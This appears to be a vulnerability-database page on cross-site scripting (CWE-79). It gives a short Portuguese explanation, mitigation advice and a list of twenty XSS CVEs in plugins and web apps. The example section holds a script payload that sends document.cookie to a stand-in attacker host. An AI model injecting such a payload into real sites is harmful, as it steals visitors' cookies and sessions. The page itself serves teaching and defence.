Fallos del tipo CWE-79

30.024 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-25483MEDIUMCraft Commerce has Stored XSS via Order Status Message with potential database exfiltrationEPSS 0.3%CVE-2020-37103MEDIUMDotNetNuke 9.5 - Persistent Cross-Site ScriptingEPSS 0.3%CVE-2026-59102LOWForgejo < 15.0.3 - Stored XSS via Actions Run Full Name RenderingEPSS 0.3%CVE-2025-32599HIGHWordPress Task Scheduler Plugin <= 1.6.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-5766MEDIUMLikeshop Merchandise admin cross site scriptingEPSS 0.3%CVE-2024-11899MEDIUMSlider Pro Lite <= 1.4.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-11752MEDIUMEveeno <= 1.7 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-24627MEDIUMWordPress Blur Text Plugin <= 1.0.0 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-13385MEDIUMJSM Screenshot Machine Shortcode <= 2.3.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-11452MEDIUMChamber Dashboard Business Directory <= 3.3.8 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-23516MEDIUMWordPress CC BMI Calculator Plugin <= 2.0.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2025-13617MEDIUMApollo13 Framework Extension <= 1.9.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via `a13_alt_link` ParameterEPSS 0.3%CVE-2024-49661HIGHWordPress leenk.me plugin <= 2.16.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-3142LOWCross-site Scripting (XSS) - Stored in microweber/microweberEPSS 0.3%CVE-2024-12699MEDIUMService Box <= 1.9 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-8545MEDIUMPortabilis i-Educar educar_motivo_afastamento_cad.php cross site scriptingEPSS 0.3%CVE-2024-23517MEDIUMWordPress Scheduling Plugin – Online Booking for WordPress Plugin <= 3.5.10 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2025-9045MEDIUMEasy Elementor Addons <= 2.2.9 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-32586HIGHWordPress ABA PayWay Payment Gateway for WooCommerce Plugin <= 2.1.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-12591MEDIUMMagicPost <= 1.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via wb_share_social ShortcodeEPSS 0.3%